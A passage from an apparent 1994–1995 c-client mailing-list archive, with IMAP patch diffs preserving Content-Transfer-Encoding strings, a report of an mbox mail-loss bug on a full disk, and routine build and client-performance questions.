*/ Jun 27 11:40 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/rfc822.c imap-3.3/non-ANSI/c-client/rfc822.c Page 1 *** imap-3.3.orig/non-ANSI/c-client/rfc822.c Fri Apr 15 08:34:10 1994 --- imap-3.3/non-ANSI/c-client/rfc822.c Mon Jun 27 11:23:39 1994 *************** *** 327,333 **** strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! body_encodings[body->encoding]); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) --- 327,335 ---- strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! /* tomku : we already know the encoding string */ ! /*body_encodings[body->encoding]);*/ ! body->encoding_string); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) *************** *** 770,775 **** --- 772,779 ---- /* flush out any confusing whitespace */ if (t = strchr (ucase (s),' ')) *t = '\0'; /* search for body encoding */ + /* tomku : remember original encoding string */ + body->encoding_string = s; for (i = 0; (i < ENCOTHER) && strcmp (s,body_encodings[i]); i++); body->encoding = i; /* set body type */ } Jun 27 11:40 1994 diff -crl imap-3.3.orig/non-ANSI/imapd/imapd.c imap-3.3/non-ANSI/imapd/imapd.c Page 1 *** imap-3.3.orig/non-ANSI/imapd/imapd.c Wed Jun 8 23:48:00 1994 --- imap-3.3/non-ANSI/imapd/imapd.c Mon Jun 27 11:35:50 1994 *************** *** 1029,1035 **** putchar (' '); pstring (body->description); putchar (' '); ! pstring ((char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --- 1029,1037 ---- putchar (' '); pstring (body->description); putchar (' '); ! /* tomku : already know encoding string */ ! /*pstring ((char *) body_encodings[body->encoding]);*/ ! pstring (body->encoding_string); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --1043395584--638262944-772717525:#1-- --1043395584--638262944-783540764:#1 Content-Type: MESSAGE/RFC822 Date: Tue, 28 Jun 1994 02:26:53 -0100 From: Tomas Kullman Reply-To: tomku@li.icl.se Subject: Re: Proposed modification to imap-3.3 To: mrc@cac.washington.edu X-Mailer: PC Mail Manager 1.1 ALFA MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1043395584--638262944-772763213:#1" Content-Length: 8690 --1043395584--638262944-772763213:#1 X-Sun-Content-Length: 341 Status: RO X-Status: Hi Again. I was cleaning up little too much. I was ignorant enough not testing messages defaulting to 7BIT. I re-introduced a test for 7BIT in which case we lookup the string as before. Otherwise we pull out the original string (imapd.c:1005). I send you a fixed diff text part. This time in style. (just for my own sake) Tomas --1043395584--638262944-772763213:#1 Content-Description: diff(1) on our C-T-E: modification X-Sun-Content-Length: 8123 Jun 27 18:25 1994 diff -crl imap-3.3.orig/ANSI/c-client/mail.c imap-3.3/ANSI/c-client/mail.c Page 1 *** imap-3.3.orig/ANSI/c-client/mail.c Fri Jun 10 10:25:58 1994 --- imap-3.3/ANSI/c-client/mail.c Mon Jun 27 11:32:07 1994 *************** *** 1428,1433 **** --- 1428,1434 ---- { body->type = TYPETEXT; /* content type */ body->encoding = ENC7BIT; /* content encoding */ + body->encoding_string = NIL; /* tomku : content encoding string */ body->subtype = body->id = body->description = NIL; body->parameter = NIL; body->contents.text = NIL; /* no contents yet */ *************** *** 1489,1494 **** --- 1490,1497 ---- void mail_free_body_data (BODY *body) { + /* tomku : give away encoding string */ + if (body->encoding_string) fs_give ((void **) &body->encoding_string); if (body->subtype) fs_give ((void **) &body->subtype); mail_free_body_parameter (&body->parameter); if (body->id) fs_give ((void **) &body->id); Jun 27 18:25 1994 diff -crl imap-3.3.orig/ANSI/c-client/mail.h imap-3.3/ANSI/c-client/mail.h Page 1 *** imap-3.3.orig/ANSI/c-client/mail.h Fri Jun 10 08:34:03 1994 --- imap-3.3/ANSI/c-client/mail.h Mon Jun 27 11:15:13 1994 *************** *** 203,208 **** --- 203,209 ---- BODY { unsigned short type; /* body primary type */ unsigned short encoding; /* body transfer encoding */ + char *encoding_string; /* tomku : body transfer encoding string */ char *subtype; /* subtype string */ PARAMETER *parameter; /* parameter list */ char *id; /* body identifier */ Jun 27 18:26 1994 diff -crl imap-3.3.orig/ANSI/c-client/rfc822.c imap-3.3/ANSI/c-client/rfc822.c Page 1 *** imap-3.3.orig/ANSI/c-client/rfc822.c Fri Apr 15 08:08:55 1994 --- imap-3.3/ANSI/c-client/rfc822.c Mon Jun 27 11:25:13 1994 *************** *** 307,313 **** strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! body_encodings[body->encoding]); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) --- 307,315 ---- strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! /* tomku : we already know the encoding string */ ! /*body_encodings[body->encoding]);*/ ! body->encoding_string); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) *************** *** 733,738 **** --- 735,742 ---- else if (!strcmp (name+1,"RANSFER-ENCODING")) { /* flush out any confusing whitespace */ if (t = strchr (ucase (s),' ')) *t = '\0'; + /* tomku : remember original encoding string */ + body->encoding_string = cpystr(s); /* search for body encoding */ for (i = 0; (i < ENCOTHER) && strcmp (s,body_encodings[i]); i++); body->encoding = i; /* set body type */ Jun 27 18:26 1994 diff -crl imap-3.3.orig/ANSI/imapd/imapd.c imap-3.3/ANSI/imapd/imapd.c Page 1 *** imap-3.3.orig/ANSI/imapd/imapd.c Wed Jun 8 23:44:13 1994 --- imap-3.3/ANSI/imapd/imapd.c Mon Jun 27 14:24:46 1994 *************** *** 1002,1008 **** putchar (' '); pstring (body->description); putchar (' '); ! pstring ((char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --- 1002,1010 ---- putchar (' '); pstring (body->description); putchar (' '); ! pstring (body->encoding ! ? body->encoding_string /* tomku : valid when not 7BIT */ ! : (char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: Jun 27 18:26 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/mail.c imap-3.3/non-ANSI/c-client/mail.c Page 1 *** imap-3.3.orig/non-ANSI/c-client/mail.c Fri Jun 10 10:26:58 1994 --- imap-3.3/non-ANSI/c-client/mail.c Mon Jun 27 11:30:24 1994 *************** *** 1560,1565 **** --- 1560,1566 ---- { body->type = TYPETEXT; /* content type */ body->encoding = ENC7BIT; /* content encoding */ + body->encoding_string = NIL; /* tomku : content encoding string */ body->subtype = body->id = body->description = NIL; body->parameter = NIL; body->contents.text = NIL; /* no contents yet */ *************** *** 1623,1628 **** --- 1624,1631 ---- void mail_free_body_data (body) BODY *body; { + /* tomku : give away encoding string */ + if (body->encoding_string) fs_give ((void **) &body->encoding_string); if (body->subtype) fs_give ((void **) &body->subtype); mail_free_body_parameter (&body->parameter); if (body->id) fs_give ((void **) &body->id); Jun 27 18:26 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/mail.h imap-3.3/non-ANSI/c-client/mail.h Page 1 *** imap-3.3.orig/non-ANSI/c-client/mail.h Fri Jun 10 08:33:56 1994 --- imap-3.3/non-ANSI/c-client/mail.h Mon Jun 27 11:15:36 1994 *************** *** 203,208 **** --- 203,209 ---- BODY { unsigned short type; /* body primary type */ unsigned short encoding; /* body transfer encoding */ + char *encoding_string; /* tomku : body transfer encoding string */ char *subtype; /* subtype string */ PARAMETER *parameter; /* parameter list */ char *id; /* body identifier */ Jun 27 18:26 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/rfc822.c imap-3.3/non-ANSI/c-client/rfc822.c Page 1 *** imap-3.3.orig/non-ANSI/c-client/rfc822.c Fri Apr 15 08:34:10 1994 --- imap-3.3/non-ANSI/c-client/rfc822.c Mon Jun 27 14:01:09 1994 *************** *** 327,333 **** strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! body_encodings[body->encoding]); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) --- 327,335 ---- strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! /* tomku : we already know the encoding string */ ! /*body_encodings[body->encoding]);*/ ! body->encoding_string); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) *************** *** 769,774 **** --- 771,778 ---- else if (!strcmp (name+1,"RANSFER-ENCODING")) { /* flush out any confusing whitespace */ if (t = strchr (ucase (s),' ')) *t = '\0'; + /* tomku : remember original encoding string */ + body->encoding_string = cpystr(s); /* search for body encoding */ for (i = 0; (i < ENCOTHER) && strcmp (s,body_encodings[i]); i++); body->encoding = i; /* set body type */ Jun 27 18:26 1994 diff -crl imap-3.3.orig/non-ANSI/imapd/imapd.c imap-3.3/non-ANSI/imapd/imapd.c Page 1 *** imap-3.3.orig/non-ANSI/imapd/imapd.c Wed Jun 8 23:48:00 1994 --- imap-3.3/non-ANSI/imapd/imapd.c Mon Jun 27 14:24:07 1994 *************** *** 1029,1035 **** putchar (' '); pstring (body->description); putchar (' '); ! pstring ((char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --- 1029,1037 ---- putchar (' '); pstring (body->description); putchar (' '); ! pstring (body->encoding ! ? body->encoding_string /* tomku : valid when not 7BIT */ ! : (char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --1043395584--638262944-772763213:#1-- --1043395584--638262944-783540764:#1-- From pinedev@shivax2.cac.washington.edu Sun Oct 30 12:06:30 1994 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA15249; Sun, 30 Oct 94 12:06:30 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA24499; Sun, 30 Oct 94 12:06:21 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA24493; Sun, 30 Oct 94 12:06:20 -0800 Received: from tomobiki-cho.cac.washington.edu by mailhost1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA16936; Sun, 30 Oct 94 12:06:05 -0800 Date: Sun, 30 Oct 1994 12:06:04 -0800 (PST) From: Mark Crispin To: Tomas Kullman - ICL ProSystems Cc: c-client@cac.washington.edu Subject: Re: Why Content-Transfer-Encoding: should be passed "as is" In-Reply-To: <199410301712.SAA28755@xray.li.icl.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Tomas - This change was incorporated into c-client on June 30, 1994. imap-3.3 is an obsolete version of the c-client. The current distribution is imap-3.5 (used in Pine 3.91), the current beta (used for Pine 3.92 development) is imap-3.6.BETA, and the current development is imap-4 (not used at all because it doesn't compile yet...). Thank you for your interest in c-client. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Oct 31 11:05:33 1994 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA21038; Mon, 31 Oct 94 11:05:33 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA14882; Mon, 31 Oct 94 11:04:31 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA14875; Mon, 31 Oct 94 11:04:26 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.li.icl.se (8.6.9/tomku_941029) with ESMTP id UAA06364; Mon, 31 Oct 1994 20:04:22 +0100 Message-Id: <199410311904.UAA06364@xray.li.icl.se> Date: Mon, 31 Oct 1994 21:04:18 +0100 From: Tomas Kullman - ICL ProSystems Reply-To: tomas.kullman@li.icl.se Subject: Re: Why Content-Transfer-Encoding: should be passed "as is" To: Mark Crispin Cc: c-client@CAC.Washington.EDU X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Tomas - > > This change was incorporated into c-client on June 30, 1994. imap-3.3 is > an obsolete version of the c-client. The current distribution is > imap-3.5 (used in Pine 3.91), the current beta (used for Pine 3.92 > development) is imap-3.6.BETA, and the current development is imap-4 (not > used at all because it doesn't compile yet...). > > Thank you for your interest in c-client. > > -- Mark -- > Mark - and others. Sorry for my failure to realize that this issue already has been solved. I looked for the kind of changes I've done myself and failed to recognize your specific solution on how to keep record of the string representation of unkowned encodings. And... It works! Thank you, Mark. -- Tomas From pinedev@shivax2.cac.washington.edu Mon Nov 21 10:05:17 1994 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA13144; Mon, 21 Nov 94 10:05:17 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA22003; Mon, 21 Nov 94 10:05:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA21997; Mon, 21 Nov 94 10:05:03 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.li.icl.se (8.6.9/tomku_941029) with ESMTP id TAA00194 for ; Mon, 21 Nov 1994 19:04:56 +0100 Message-Id: <199411211804.TAA00194@xray.li.icl.se> Date: Mon, 21 Nov 1994 20:04:38 +0100 From: Tomas Kullman - ICL ProSystems AB Reply-To: tomas.kullman@li.icl.se Subject: bug? mail lost in space with mbox and disk full To: c-client@cac.washington.edu X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=SEN_850200_B imap-3.5 compiled for sun with EXTRADRIVERS=mbox daemon version: IMAP2bis Service 7.8(92) We have discovered a potential dangerous bug? (feature?) in the mbox driver. We use an imapd compiled with mbox driver enabled. When opening INBOX with newly arrived mail in the system maildrop and mbox file exists in $HOME, all or part of new mail will be lost or truncated if the transfer operation from maildrop to $HOME/mbox fails to complete due to lack of space on storage device (disk). There is no way to recover. BAD! Tracing the code reveals a returned error ENOSPC (No space left on device) from fsync() but seem to be ignored. Even when reading the source it is hard to figure out who's fault it is, the mbox code or the (Sun)OS system call implementation. Obviously the write() system call done just before fsync() had a normal return. By laborating with different sizes of incoming mails I found out that 60k mail gave a behavior that restored the system maildrop (write() return an error) while 12k were lost or truncated. Ahhh, I forgot: I tested both 0k and 8k space left on disk. Something in the (Sun)OS swallows 12k even if there is no space left on disk. A reasonable fix could be to care about the return code of fsync() system call and apply the same recovery as for a failing write(). By the way, Is this something the IMAP and/or c-client community are already aware of? Cheers, -- Tomas Kullman, ICL Prosystems AB, Sweden From pinedev@shivax2.cac.washington.edu Tue Nov 22 00:04:51 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA16102; Tue, 22 Nov 94 00:04:51 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA11324; Tue, 22 Nov 94 00:04:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA11318; Tue, 22 Nov 94 00:04:40 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA06002; Tue, 22 Nov 94 00:03:58 -0800 Date: Mon, 21 Nov 1994 23:52:38 -0800 (PST) From: Mark Crispin Subject: re: bug? mail lost in space with mbox and disk full To: tomas.kullman@li.icl.se Cc: c-client@cac.washington.edu In-Reply-To: <199411211804.TAA00194@xray.li.icl.se> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII This problem only occurs when ~/mbox is accessed via NFS. This was dealt with in the other c-client modules some time ago, but not in the mbox driver (we don't use it here -- basically, I forgot). Once again, NFS' failure to implement UNIX filesystem semantics correctly comes back to haunt us. The latest imap-3.6.BETA fixes this problem. Thank you for reporting it. By the way, it isn't necessary to sent bug reports to the c-client list. I'd like to keep the c-client list low volume and low noise; it'd be neither if every bug report ends up being posted here. I'd hate to see a fixed bug become part of ``folklore''. So, please send bug reports to me, and complain to the c-client list only if you don't get any satisfaction... ;-) I try to fix bugs within a day or two of the report. -- Mark -- On Mon, 21 Nov 1994 20:04:38 +0100, Tomas Kullman - ICL ProSystems AB wrote: > imap-3.5 compiled for sun with EXTRADRIVERS=mbox > daemon version: IMAP2bis Service 7.8(92) > > We have discovered a potential dangerous bug? (feature?) in the > mbox driver. We use an imapd compiled with mbox driver enabled. > When opening INBOX with newly arrived mail in the system > maildrop and mbox file exists in $HOME, all or part of new mail > will be lost or truncated if the transfer operation from maildrop > to $HOME/mbox fails to complete due to lack of space on storage > device (disk). There is no way to recover. BAD! > Tracing the code reveals a returned error ENOSPC (No space left > on device) from fsync() but seem to be ignored. Even when reading > the source it is hard to figure out who's fault it is, the mbox > code or the (Sun)OS system call implementation. Obviously the > write() system call done just before fsync() had a normal return. > By laborating with different sizes of incoming mails I found out > that 60k mail gave a behavior that restored the system maildrop > (write() return an error) while 12k were lost or truncated. Ahhh, > I forgot: I tested both 0k and 8k space left on disk. Something > in the (Sun)OS swallows 12k even if there is no space left on disk. > A reasonable fix could be to care about the return code of fsync() > system call and apply the same recovery as for a failing write(). > > By the way, Is this something the IMAP and/or c-client community are > already aware of? > > Cheers, > -- > Tomas Kullman, ICL Prosystems AB, Sweden From pinedev@shivax2.cac.washington.edu Tue Nov 22 04:30:05 1994 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA22986; Tue, 22 Nov 94 04:30:05 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12910; Tue, 22 Nov 94 04:29:52 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12904; Tue, 22 Nov 94 04:29:48 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.li.icl.se (8.6.9/tomku_941029) with ESMTP id NAA02399; Tue, 22 Nov 1994 13:29:37 +0100 Message-Id: <199411221229.NAA02399@xray.li.icl.se> Date: Tue, 22 Nov 1994 14:29:18 +0100 From: Tomas Kullman - ICL ProSystems AB Reply-To: tomas.kullman@li.icl.se Subject: Re: re: bug? mail lost in space with mbox and disk full To: Mark Crispin Cc: c-client@CAC.Washington.EDU X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=SEN_850200_B Mark, Normally I should have sent the bug report directly to you. I sent it to the c-client list to alert the community for the potential danger. May be I should have sent only an abstract. Thank you for the quick response. (No complains this time :-) Cheers, -- Tomas Kullman, ICL Prosystems AB, Sweden From pinedev@shivax2.cac.washington.edu Wed Dec 21 07:36:05 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA26395; Wed, 21 Dec 94 07:36:05 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA19936; Wed, 21 Dec 94 07:35:38 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from [138.250.1.8] by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA19930; Wed, 21 Dec 94 07:35:36 -0800 Received: from vulcan.ccc.cranfield.ac.uk by xss001.ccc.cranfield.ac.uk with SMTP (PP) id <11511-0@xss001.ccc.cranfield.ac.uk>; Wed, 21 Dec 1994 15:38:06 +0000 Received: by vulcan.ccc.cranfield.ac.uk (MX V4.1 AXP) id 21; Wed, 21 Dec 1994 15:30:59 GMT Date: Wed, 21 Dec 1994 15:30:59 GMT From: Howard Jeffrey To: c-client@cac.washington.edu Message-Id: <00989470.521BB111.21@vulcan.ccc.cranfield.ac.uk> Subject: Xlview Dear C-client people, I am looking to build xlview on an Alpha OSF/1 system. Do you have a c-client makefile.osf ? Which one shall I use if not ? Cheers, Howard. -------------------------------------------------------------------------------- Howard Jeffrey. Computer Centre, Email: H.Jeffrey@cranfield.ac.uk Cranfield University, Tel: +44 (0)234 754207 Cranfield, Beds, MK43 OAL __o /\ England _ \<,_ / \/\ (_)/ (_) / \ \/\ -------------------------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Dec 21 21:08:50 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA28571; Wed, 21 Dec 94 21:08:50 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06090; Wed, 21 Dec 94 21:08:25 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.ntt.jp by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06084; Wed, 21 Dec 94 21:08:22 -0800 Received: by mail.core.ntt.jp (8.6.9/COREMAIL.4); Thu, 22 Dec 1994 14:07:55 +0900 Received: by brlns0.ntt.jp (8.6.9/core*brl.mx13) with TCP; Thu, 22 Dec 1994 14:07:55 +0900 Received: by ntt-20.ntt.jp (5.67+1.6W/core*brl.s5) with TCP; Thu, 22 Dec 94 14:07:53 +0900 Date: Thu, 22 Dec 1994 14:07:53 +0900 (JST) From: Mark Crispin X-Sender: mrc@Appercept To: Howard Jeffrey Cc: c-client@cac.washington.edu Subject: Re: Xlview In-Reply-To: <00989470.521BB111.21@vulcan.ccc.cranfield.ac.uk> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 21 Dec 1994, Howard Jeffrey wrote: > I am looking to build xlview on an Alpha OSF/1 system. > > Do you have a c-client makefile.osf ? > > Which one shall I use if not ? Yes, c-client (in ftp.cac.washington.edu:imap.tar.Z) has an OSF port. The command is: make osf There are no longer separate makefiles for each version of UNIX. From pinedev@shivax2.cac.washington.edu Tue Jan 3 11:37:43 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA14537; Tue, 3 Jan 95 11:37:43 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA15543; Tue, 3 Jan 95 11:37:18 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from koriel.Sun.COM by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA15537; Tue, 3 Jan 95 11:37:16 -0800 Received: from Eng.Sun.COM (zigzag.Eng.Sun.COM) by Sun.COM (sun-barr.Sun.COM) id AA00276; Tue, 3 Jan 95 11:37:12 PST Received: from hape.eng.sun.com by Eng.Sun.COM (4.1(1/24/94)/SMI-4.1) id AA14908; Tue, 3 Jan 95 11:37:11 PST Received: from roam by hape.eng.sun.com (5.0/SMI-SVR4) id AA01699; Tue, 3 Jan 1995 11:37:43 +0800 Date: Tue, 3 Jan 1995 11:35:43 -0800 (PST) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: ECSmail question... To: c-client@cac.washington.edu Message-Id: Content-Type: text X-Sun-Text-Type: ascii Content-Length: 3635 Anyone out there know the cause of the slowness of ECSmail PC clients? Thanks, Bill >----------------Begin Forwarded Message----------------< Subject: ECSmail question... To: yeager@uask4it Bill, I bought copy of ECSmail for my PC at home. It works OK, but my main problem is that it takes FOREVER to download the message headers. It says 'organizing mailbox'. I know it is not the IMAP server, because the workstation sitting next to my PC and using Roam downloads the headers for 200 messages in about 30 seconds or less. Do you know much about the PC IMAP clients? Is it possible I have it configured wrong? Maybe it is downloading the entire messages instead of just the headers. Thanks, Steve >----------------Begin Forwarded Message----------------< Return-Path: Received: from ennui.eng.sun.com by uask4it.eng.sun.com (5.x/SMI-SVR4) id AA22403; Wed, 28 Dec 1994 09:16:15 -0800 Received: from Eng.Sun.COM (engmail1) by ennui.eng.sun.com (5.x/SMI-SVR4) id AA29156; Wed, 28 Dec 1994 09:16:04 -0800 Received: from Sun.COM (sun-barr) by Eng.Sun.COM (4.1(1/24/94)/SMI-4.1) id AA20348; Wed, 28 Dec 94 09:14:46 PST Received: from isasun-1.edm.isac.ca ([141.118.1.25]) by Sun.COM (sun-barr.Sun.COM) id AA14460; Wed, 28 Dec 94 09:14:53 PST Received: from gregpc.2.22.198.in-addr.arpa by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0rN1wW-000ctbC; Wed, 28 Dec 94 10:13 MST From: Greg Caskey To: Steve York Subject: Re: Re: ECSMail License Copy Message-Id: Date: Wed, 28 Dec 1994 10:08:50 -0500 (EST) Priority: NORMAL X-Mailer: ECSMail for Windows v3 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Length: 1752 Hi Steve... On Fri, 23 Dec 1994 15:54:03 PST Steve York wrote: >Greg, Marty, > > I ftped the software and installed it. It seems to work well. I currently have >one problem. When I first connect to the Email server, or I open a folder, there is >quite a long delay where it says 'Organizing Mailbox'. What is the software doing >while this is going on? Is this a normal delay? For example with a inbox size of >about 195 messages, the time was several minutes. I can time it exactly if you >would like. The SUN IMAP mail client which I use on my SPARCstation does not >suffer this delay. Merry Christmas... You will see some bit of a delay, in order for ECSMail to fetch each message header, process it, and then place it in the appropriate Virtual Folder. > > Other than the above mentioned problem, things are working well. > > Steve York > >Merry Christmas! > >On Fri, 23 Dec 1994 14:29:39 -0700 (MST) Greg Caskey *NOT AUTHENTICATED* >wrote: > >> From: Greg Caskey *NOT AUTHENTICATED* >> Date: Fri, 23 Dec 1994 14:29:39 -0700 (MST) >> Subject: ECSMail License Copy >> To: york@Eng >> Cc: greg@edm.isac.ca, martyt@edm.isac.ca >> >> hello >> >> >> Your Licensed copy of ECSMail is now available. Please read the >> attachment on how to retrieve your files. >> >> Please replace the xx with 95 in the attachment, for both >> directory name and password. >> >> Thank you for your support of ECSMail. >> >> >> -------------------------- >> Greg Caskey greg@edm.isac.ca >> ECS Support Manager (403) 420 - 7760 >> ISA Corp. (403) 420 - 8037 > > > ----- Greg Caskey greg@edm.isac.ca ECS Support Manager ISA Corporation PH:(403)420-7760 >----------------End Forwarded Message----------------< >----------------End Forwarded Message----------------< From pinedev@shivax2.cac.washington.edu Wed Jan 4 11:42:33 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA03668; Wed, 4 Jan 95 11:42:33 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12754; Wed, 4 Jan 95 11:42:04 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from dxmint.cern.ch by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12748; Wed, 4 Jan 95 11:42:01 -0800 Received: from sp049.cern.ch by dxmint.cern.ch (5.65/DEC-Ultrix/4.3) id AA28151; Wed, 4 Jan 1995 20:41:59 +0100 Received: by sp049.cern.ch (AIX 3.2/UCB 5.64/4.03) id AA19119; Wed, 4 Jan 1995 20:41:59 +0100 Date: Wed, 4 Jan 1995 20:41:59 +0100 From: tbel@afsmail.cern.ch (Tim Bell) Message-Id: <9501041941.AA19119@sp049.cern.ch> To: c-client@cac.washington.edu Subject: c-client for RS/6000 I'm looking for a Makefile for the c-client code for RS/6000 running AIX 3.2.5. Can you help me out ? Tim. From pinedev@shivax2.cac.washington.edu Wed Jan 4 18:17:25 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.32 ) id AA19046; Wed, 4 Jan 95 18:17:25 -0800 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA21566; Wed, 4 Jan 95 18:17:14 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mail.ntt.jp by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA21560; Wed, 4 Jan 95 18:17:11 -0800 Received: by mail.core.ntt.jp (8.6.9/COREMAIL.4); 